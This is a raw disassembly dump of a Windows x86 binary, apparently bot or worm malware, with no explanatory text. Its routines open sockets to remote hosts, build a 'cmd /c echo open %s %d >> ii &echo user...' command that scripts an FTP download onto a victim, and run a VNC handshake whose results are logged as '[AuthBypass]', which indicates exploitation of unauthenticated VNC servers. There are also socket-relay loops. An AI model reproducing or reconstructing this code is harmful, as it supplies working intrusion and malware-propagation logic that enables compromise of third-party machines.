lea eax, [ebp-0BCh]
mov dword ptr [ebp-74h], 2
push ebx
push eax
lea eax, [ebp-0B8h]
push 48h
push eax
push dword ptr [ebp-4]
nop
call near ptr 26F0000h
test eax, eax
jnz short loc_40DB35
loc_40DB27: ; CODE XREF: ___:0040DC01j
push dword ptr [ebp-4]
call near ptr 2660919h
nop
jmp loc_40DA51
; ---------------------------------------------------------------------------
loc_40DB35: ; CODE XREF: ___:0040DB25j
lea eax, [ebp-14h]
push ebx
push eax
lea eax, [ebp-60DCh]
push esi
push eax
push dword ptr [ebp-4]
nop
call near ptr 2700000h
push ebx
call sub_41D081
push eax
call sub_41B8D8
push 14h
lea eax, [ebp-70h]
push 41h
push eax
call sub_41B590
push 1Ch
lea eax, [ebp-30h]
push 41h
push eax
call sub_41B590
add esp, 20h
call sub_41B8E2
mov esi, [ebp+0Ch]
mov [ebp-70h], eax
mov [ebp-64h], edi
mov [ebp-68h], ebx
lea esi, [esi+esi*4]
mov [ebp-6Ch], edi
shl esi, 2
mov [ebp-60h], bx
cmp byte_4328A8[esi], bl
jz short loc_40DBAC
push 4
mov [ebp-24h], edi
mov [ebp-28h], ebx
mov [ebp-2Ch], edi
push offset dword_4CE37C
jmp short loc_40DBBF
; ---------------------------------------------------------------------------
loc_40DBAC: ; CODE XREF: ___:0040DB98j
push 2
mov [ebp-28h], ebx
pop eax
push 4
mov [ebp-24h], eax
mov [ebp-2Ch], eax
push (offset loc_4328F7+1)
loc_40DBBF: ; CODE XREF: ___:0040DBAAj
lea eax, [ebp-20h]
push eax
call sub_41C310
add esp, 0Ch
call sub_41B8E2
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp-30h], edx
call sub_41B8E2
cdq
idiv edi
mov eax, dword_43289C[esi]
mov [ebp-18h], ebx
push eax
mov [ebp+8], eax
inc edx
mov [ebp-1Ch], edx
call sub_41B4D5
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_40DB27
mov eax, [ebp+8]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41B590
mov eax, [ebp+8]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41B590
mov eax, dword_4328A4[esi]
push 7
add eax, edi
push offset dword_432890
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 15Ch
add eax, 7
push offset dword_432730
push eax
call sub_41C310
mov eax, dword_4328A0[esi]
add esp, 30h
cmp byte_4328A8[esi], bl
mov [ebp+0Ch], eax
jz short loc_40DCB8
push 4
add eax, edi
push offset dword_4CE374
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 0Ch
mov esi, offset dword_4328C0
mov eax, [ebp+0Ch]
push 4
add eax, edi
push esi
push eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
add eax, 0Ch
push esi
push eax
call sub_41C310
add esp, 30h
jmp short loc_40DCE0
; ---------------------------------------------------------------------------
loc_40DCB8: ; CODE XREF: ___:0040DC69j
add eax, edi
mov dword ptr [ebp-8], 10h
mov [ebp+0Ch], eax
mov esi, offset dword_4328C0
loc_40DCC9: ; CODE XREF: ___:0040DCDEj
push 4
push esi
push dword ptr [ebp+0Ch]
call sub_41C310
add dword ptr [ebp+0Ch], 4
add esp, 0Ch
dec dword ptr [ebp-8]
jnz short loc_40DCC9
loc_40DCE0: ; CODE XREF: ___:0040DCB6j
mov eax, [ebp+8]
add eax, 42h
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40DD0B
push dword ptr [ebp-4]
call near ptr 2660919h
nop
push edi
call sub_41B0B1
pop ecx
jmp loc_40DA51
; ---------------------------------------------------------------------------
loc_40DD0B: ; CODE XREF: ___:0040DCF4j
mov eax, [ebp+8]
add eax, 42h
push eax
push ebx
push esi
call sub_41B590
lea eax, [ebp-70h]
push 14h
push eax
push esi
call sub_41C310
mov eax, [ebp+8]
mov [ebp-0Ch], ebx
mov [ebp-10h], eax
add esp, 10h
fild qword ptr [ebp-10h]
fmul flt_4276A4
fstp qword ptr [esp]
call sub_41C7BF
call sub_41C798
push dword ptr [ebp+8]
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
call sub_41C310
mov eax, [ebp+8]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+0Ch], eax
jz short loc_40DD78
loc_40DD70: ; CODE XREF: ___:0040DD73j
inc eax
test al, 3
jnz short loc_40DD70
mov [ebp+0Ch], eax
loc_40DD78: ; CODE XREF: ___:0040DD6Ej
lea ecx, [ebp-30h]
push 1Ch
add eax, esi
push ecx
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 1Ch
push edi
call sub_41B0B1
push 18h
lea eax, [ebp-48h]
push ebx
push eax
call sub_41B590
push 14h
lea eax, [ebp-5Ch]
push ebx
push eax
mov byte ptr [ebp-48h], 5
mov [ebp-47h], bl
mov [ebp-46h], bl
mov byte ptr [ebp-45h], 3
mov dword ptr [ebp-44h], 10h
mov [ebp-3Eh], bx
mov [ebp-3Ch], ebx
mov [ebp-34h], bx
mov word ptr [ebp-32h], 1Fh
call sub_41B590
add esp, 28h
push ebx
push ebx
push 1
push ebx
nop
call near ptr 26F08ADh
mov [ebp-4Ch], eax
mov [ebp+0Bh], bl
mov [ebp-0Ch], ebx
loc_40DDE5: ; CODE XREF: ___:0040DE6Fj
cmp dword ptr [ebp-0Ch], 2
jge loc_40DE7A
push 1
push 10B8h
push dword ptr [ebp+0Ch]
inc dword ptr [ebp-0Ch]
push esi
lea esi, [ebp-48h]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp-4]
rep movsd
call sub_40D8AE
add esp, 2Ch
test al, al
jz short loc_40DE77
cmp [ebp-4Ch], ebx
jz short loc_40DE69
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-60DCh]
push 2000h
push eax
push dword ptr [ebp-4]
nop
call near ptr 2700000h
test eax, eax
jnz short loc_40DE50
nop
call near ptr 2680ABEh
cmp eax, 3E5h
jnz loc_40DA51
loc_40DE50: ; CODE XREF: ___:0040DE3Dj
push 3E8h
push dword ptr [ebp-4Ch]
nop
call near ptr 2690295h
cmp eax, 102h
jnz short loc_40DE69
mov byte ptr [ebp+0Bh], 1
loc_40DE69: ; CODE XREF: ___:0040DE1Cj
; ___:0040DE63j
cmp [ebp+0Bh], bl
mov esi, [ebp-8]
jz loc_40DDE5
jmp short loc_40DE7A
; ---------------------------------------------------------------------------
loc_40DE77: ; CODE XREF: ___:0040DE17j
mov esi, [ebp-8]
loc_40DE7A: ; CODE XREF: ___:0040DDE9j
; ___:0040DE75j
push dword ptr [ebp-4]
mov edi, dword_427068
call edi
push esi
call sub_41B0B1
cmp [ebp-4Ch], ebx
pop ecx
jz short loc_40DE96
push dword ptr [ebp-4Ch]
call edi
loc_40DE96: ; CODE XREF: ___:0040DE8Fj
cmp [ebp+0Bh], bl
setnz al
loc_40DE9C: ; CODE XREF: ___:0040DA53j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 81h ;
db 0ECh ; ì
db 0A0h ;
db 5
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 33h ; 3
db 0F6h ; ö
db 6Ah ; j
db 10h
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 56h ; V
db 50h ; P
db 0E8h ; è
db 0D5h ; Õ
db 0D6h ; Ö
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 0Ch
db 8Dh ;
db 45h ; E
db 0Ch
db 66h ; f
db 0C7h ; Ç
db 45h ; E
db 0F0h ; ð
db 2
db 0
db 50h ; P
db 90h ;
db 0E8h ; è
db 2Ah ; *
db 34h ; 4
db 6Ah ; j
db 71h ; q
db 0FFh
db 0B5h ; µ
db 0C4h ; Ä
db 0
db 0
db 0
db 89h ; ‰
db 45h ; E
db 0F4h ; ô
db 90h ;
db 0E8h ; è
db 69h ; i
db 38h ; 8
db 6Ah ; j
db 71h ; q
db 56h ; V
db 6Ah ; j
db 1
db 6Ah ; j
db 2
db 66h ; f
db 89h ; ‰
db 45h ; E
db 0F2h ; ò
db 90h ;
db 0E8h ; è
db 36h ; 6
db 5Dh ; ]
db 6Ah ; j
db 71h ; q
db 8Bh ; ‹
db 0D8h ; Ø
db 83h ; ƒ
db 0FBh ; û
db 0FFh
db 74h ; t
db 7Ch ; |
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 6Ah ; j
db 10h
db 50h ; P
db 53h ; S
db 0E8h ; è
db 5Eh ; ^
db 5Fh ; _
db 6Ah ; j
db 71h ; q
db 90h ;
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 74h ; t
db 6Ah ; j
db 0BFh ; ¿
db 0
db 4
db 0
db 0
db 56h ; V
db 8Bh ; ‹
db 35h ; 5
db 18h
db 72h ; r
db 42h ; B
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 0B8h ; ¸
db 0Ch
db 91h ; ‘
db 42h ; B
db 0
db 50h ; P
db 50h ; P
db 0FFh
db 35h ; 5
db 90h ;
db 0B3h ; ³
db 4Ch ; L
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 0DFh ; ß
db 0CCh ; Ì
db 0FFh
db 0FFh
db 59h ; Y
db 50h ; P
db 68h ; h
db 48h ; H
db 29h ; )
db 43h ; C
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 68h ; h
db 90h ;
db 1
db 0
db 0
db 50h ; P
db 0E8h ; è
db 37h ; 7
db 0DAh ; Ú
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; è
db 86h ; †
db 0D0h ; Ð
db 0
db 0
db 59h ; Y
db 50h ; P
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 50h ; P
db 53h ; S
db 0E8h ; è
db 8Bh ; ‹
db 3Bh ; ;
db 6Ah ; j
db 71h ; q
db 90h ;
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 75h ; u
db 4
db 33h ; 3
db 0C0h ; À
db 0EBh ; ë
db 17h
db 6Ah ; j
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 53h ; S
db 0E8h ; è
db 0E7h ; ç
db 3Ah ; :
db 6Ah ; j
db 71h ; q
db 90h ;
db 6Ah ; j
db 1
db 58h ; X
db 5Fh ; _
db 5Eh ; ^
db 5Bh ; [
db 0C9h ; É
db 0C3h ; Ã
db 53h
dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
dd 7D0h, 27202BE8h, 83439002h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DFE3 proc near ; CODE XREF: sub_40E0D1+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
nop
call near ptr 71AB12F8h
push [ebp+arg_BC]
mov [ebp+var_C], eax
nop
call near ptr 71AB1746h
push esi
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E0B1
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jz short loc_40E0B1
mov edi, 400h
push esi
mov esi, dword_427218
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_42910C
push eax
push eax
push dword_4CB390
push [ebp+arg_0]
call sub_40AC10
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
jnz short loc_40E0B5
loc_40E0B1: ; CODE XREF: sub_40DFE3+50j
; sub_40DFE3+62j
xor eax, eax
jmp short loc_40E0CC
; ---------------------------------------------------------------------------
loc_40E0B5: ; CODE XREF: sub_40DFE3+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
nop
call near ptr 71AB1A6Dh
push 1
pop eax
loc_40E0CC: ; CODE XREF: sub_40DFE3+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40DFE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E0D1 proc near ; CODE XREF: sub_40C125+1EAp
; DATA XREF: ___:off_431B04o
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CB694
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CB654
push 6
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E143
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call near ptr 71AB3E5Dh
nop
cmp eax, 0FFFFFFFFh
jnz short loc_40E124
push esi
jmp short loc_40E13D
; ---------------------------------------------------------------------------
loc_40E124: ; CODE XREF: sub_40E0D1+4Ej
push 0
push 1213h
push offset dword_4329BC
push esi
call near ptr 71AB1AF4h
nop
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40E147
loc_40E13D: ; CODE XREF: sub_40E0D1+51j
call near ptr 71AB1A6Dh
nop
loc_40E143: ; CODE XREF: sub_40E0D1+3Cj
xor eax, eax
jmp short loc_40E189
; ---------------------------------------------------------------------------
loc_40E147: ; CODE XREF: sub_40E0D1+6Aj
call near ptr 71AB1A6Dh
nop
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DFE3
add esp, 0C0h
test eax, eax
jz short loc_40E186
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431B08[eax]
lea eax, dword_431B08[eax]
loc_40E186: ; CODE XREF: sub_40E0D1+9Ej
push 1
pop eax
loc_40E189: ; CODE XREF: sub_40E0D1+74j
pop edi
pop esi
leave
retn
sub_40E0D1 endp
; =============== S U B R O U T I N E =======================================
sub_40E18D proc near ; CODE XREF: ___:0040E27Bp
; ___:0040E2DDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40E195: ; CODE XREF: sub_40E18D+2Dj
test edi, edi
jle short loc_40E1C0
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CB66C
test eax, eax
jz short loc_40E1BC
cmp eax, 0FFFFFFFFh
jz short loc_40E1BC
sub edi, eax
add esi, eax
jmp short loc_40E195
; ---------------------------------------------------------------------------
loc_40E1BC: ; CODE XREF: sub_40E18D+22j
; sub_40E18D+27j
xor eax, eax
jmp short loc_40E1C3
; ---------------------------------------------------------------------------
loc_40E1C0: ; CODE XREF: sub_40E18D+Aj
push 1
pop eax
loc_40E1C3: ; CODE XREF: sub_40E18D+31j
pop edi
pop esi
retn
sub_40E18D endp
; =============== S U B R O U T I N E =======================================
sub_40E1C6 proc near ; CODE XREF: ___:0040E2C7p
; ___:0040E2F4p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40E203
xor esi, esi
test edi, edi
jle short loc_40E1FD
loc_40E1D6: ; CODE XREF: sub_40E1C6+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jz short loc_40E203
test eax, eax
jz short loc_40E203
add esi, eax
cmp esi, edi
jl short loc_40E1D6
loc_40E1FD: ; CODE XREF: sub_40E1C6+Ej
push 1
pop eax
loc_40E200: ; CODE XREF: sub_40E1C6+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E203: ; CODE XREF: sub_40E1C6+8j
; sub_40E1C6+2Bj ...
xor eax, eax
jmp short loc_40E200
sub_40E1C6 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_433C00
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CB6D4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40E235
push eax
jmp short loc_40E269
; ---------------------------------------------------------------------------
loc_40E235: ; CODE XREF: ___:0040E230j
lea eax, [ebp+0Ch]
push eax
call dword_4CB694
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CB654
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jnz short loc_40E274
push ebx
loc_40E269: ; CODE XREF: ___:0040E233j
call dword_4CB6EC
jmp loc_40E46F
; ---------------------------------------------------------------------------
loc_40E274: ; CODE XREF: ___:0040E266j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41C645
add esp, 10h
cmp eax, esi
jnz loc_40E468
cmp dword ptr [ebp-28h], 3
jz short loc_40E2C0
cmp dword ptr [ebp-20h], 8
jnz loc_40E468
loc_40E2C0: ; CODE XREF: ___:0040E2B4j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E1C6
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40E1C6
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40E468
push 1
push offset dword_4CB50C
push ebx
call sub_40E1C6
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41CFC5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40E3F8
push edi
push esi
push ebx
call sub_40E18D
add esp, 0Ch
loc_40E3F8: ; CODE XREF: ___:0040E3EBj
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409A73
lea eax, [ebp-24Ch]
push eax
call sub_4151AD
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431B08[eax]
push ebx
lea eax, dword_431B08[eax]
nop
call near ptr 71AB1A6Dh
push 1
pop eax
jmp short loc_40E471
; ---------------------------------------------------------------------------
loc_40E468: ; CODE XREF: ___:0040E285j
; ___:0040E2AAj ...
push ebx
nop
call near ptr 71AB1A6Dh
loc_40E46F: ; CODE XREF: ___:0040E26Fj
xor eax, eax
loc_40E471: ; CODE XREF: ___:0040E466j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E47F: ; CODE XREF: ___:0040E49Bj
; ___:0040E4B7j
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE394
call dword_4CB66C
test eax, eax
jle short loc_40E47F
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4CE390
nop
call near ptr 26F0000h
jmp short loc_40E47F
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E4C2: ; CODE XREF: ___:0040E4E8j
; ___:0040E502j
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE384
nop
call near ptr 2700000h
cmp dword ptr [ebp-4], 0
jle short loc_40E4C2
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4CE394
call dword_4CB6A4
jmp short loc_40E4C2
; ---------------------------------------------------------------------------
dword_40E504 dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh
; DATA XREF: sub_401ACD+2D0Eo
dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
dd 59E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
dd 15FFFFFFh, 4CB654h, 6A56066Ah, 45896602h, 0D415FFCAh
dd 89004CB6h, 458D0845h, 50106AC8h, 0FF0875FFh, 4CB68015h
dd 0FF056A00h, 15FF0875h, 4CB67Ch, 70FC1D8Bh, 358B0042h
dd 427068h, 75FF5757h, 0E815FF08h, 0A3004CB6h, 4CE394h
dd 57F4458Dh, 0E3906850h, 8C68004Ch, 0C7004CE3h, 0CF445h
dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE388h
dd 4CE38468h, 6AD3FF00h, 84458D44h, 0BDE85057h, 0A10000CFh
dd 4CE38Ch, 890CC483h, 88A1BC45h, 89004CE3h, 6A57C045h
dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
dd 7D896600h, 2069E8B4h, 50900230h, 0E38835FFh, 0E890004Ch
dd 230205Bh, 0E5E89050h, 8D023019h, 8D50D845h, 57508445h
dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433C0468h
dd 0E8905700h, 22525FBh, 50E8458Dh, 0B9685757h, 8D0040E4h
dd 5057F445h, 1A42E890h, 45890227h, 0E8458DECh, 68575750h
dd 40E476h, 57F4458Dh, 1A2AE850h, 6A900227h, 0F04589FFh
dd 0E8D875FFh, 2281C19h, 75FF5790h, 0D6E890F0h, 57022824h
dd 90EC75FFh, 2824CCE8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh
dd 0E8D875FFh, 22F266Fh, 8C35FF90h, 0FF004CE3h, 9035FFD6h
dd 0FF004CE3h, 8435FFD6h, 0FF004CE3h, 8835FFD6h, 0FF004CE3h
dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
dd 0FFFE6800h, 680000h, 0E8000004h, 9F9Dh, 0E39CA359h
dd 0C359004Ch
dword_40E6F0 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh
; DATA XREF: sub_40BACE+34Do
dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
dd 6DE85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
dd 15FFFFFFh, 4CB654h, 26A5653h, 0EE458966h, 0FFF05D89h
dd 4CB6D415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h
dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
dd 0E8FFFFFFh, 0FFFFB2FFh, 8D14C483h, 0FFFD4085h, 2AE850FFh
dd 0FF00006Ah, 0FFFF54B5h, 0CC85E8FFh, 5959FFFFh, 186AE853h
dd 8B90022Dh, 0FFFF5485h, 69106AFFh, 234C0h, 9CB88900h
dd 8D0043E5h, 5750EC45h, 0B68015FFh, 0C63B004Ch, 400BBh
dd 0CF850F00h, 0FF000000h, 4CB5E815h, 27403D00h, 47740000h
dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB27Fh, 8D14C483h
dd 0FFFD4085h, 0AAE850FFh, 0FF000069h, 0FFFF54B5h, 0CC05E8FFh
dd 5959FFFFh, 0E9E89056h, 68022D17h, 0FFFEh, 9E63E853h
dd 0A3590000h, 4CE39Ch, 45896659h, 0EC458DEEh, 5750106Ah
dd 0B68015FFh, 0C63B004Ch, 15FF5475h, 4CB5E8h, 7539F633h
dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh
dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 4E8FFFFh, 83FFFFB2h
dd 858D14C4h, 0FFFFFD40h, 692FE850h, 0B5FF0000h, 0FFFFFF54h
dd 0FFCB8AE8h, 565959FFh, 176EE890h, 56A022Dh, 7C15FF57h
dd 3B004CB6h, 0D4840FC6h, 0C7000000h, 10FC45h, 0CBE0000h
dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CB6E815h
dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
dd 0FFB186E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 68B1h
dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
dd 4CB66Ch, 74FFF883h, 0FF565696h, 4CB39035h, 50B5FF00h
dd 0E8FFFFFFh, 0FFFFC2E4h, 0C685059h, 8D00433Ch, 0FFF94085h
dd 0E85053FFh, 0D040h, 8D1CC483h, 0FFF94085h, 50006AFFh
dd 0C68FE8h, 8D505900h, 0FFF94085h, 75FF50FFh, 0A415FF08h
dd 83004CB6h, 840FFFF8h, 0FFFFFF43h, 0E3A405FFh, 38E9004Ch
dd 57FFFFFFh, 0B6EC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFCA8AE8h
dd 6A59FFh, 166EE890h
db 2Dh, 2
word_40E992 dw 8B55h ; DATA XREF: sub_40BACE+22Ao
dword_40E994 dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh
dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
dd 16850F6h, 89000001h, 5D89E45Dh, 0DC5D89D4h, 0FDD4B589h
dd 0B589FFFFh, 0FFFFFBC4h, 6A57F9E8h, 53569071h, 0E890026Ah
dd 716A5236h, 71F4358Bh, 4D8D0042h, 51046AE4h, 0FFFFBFh
dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AD4h, 8B57FB6Ah
dd 0FF57F87Dh, 0DC458DD6h, 667E6850h, 90578004h, 6A2B35E8h
dd 90A16671h, 83004CB3h, 5000B865h, 0B445C766h, 15FF0002h
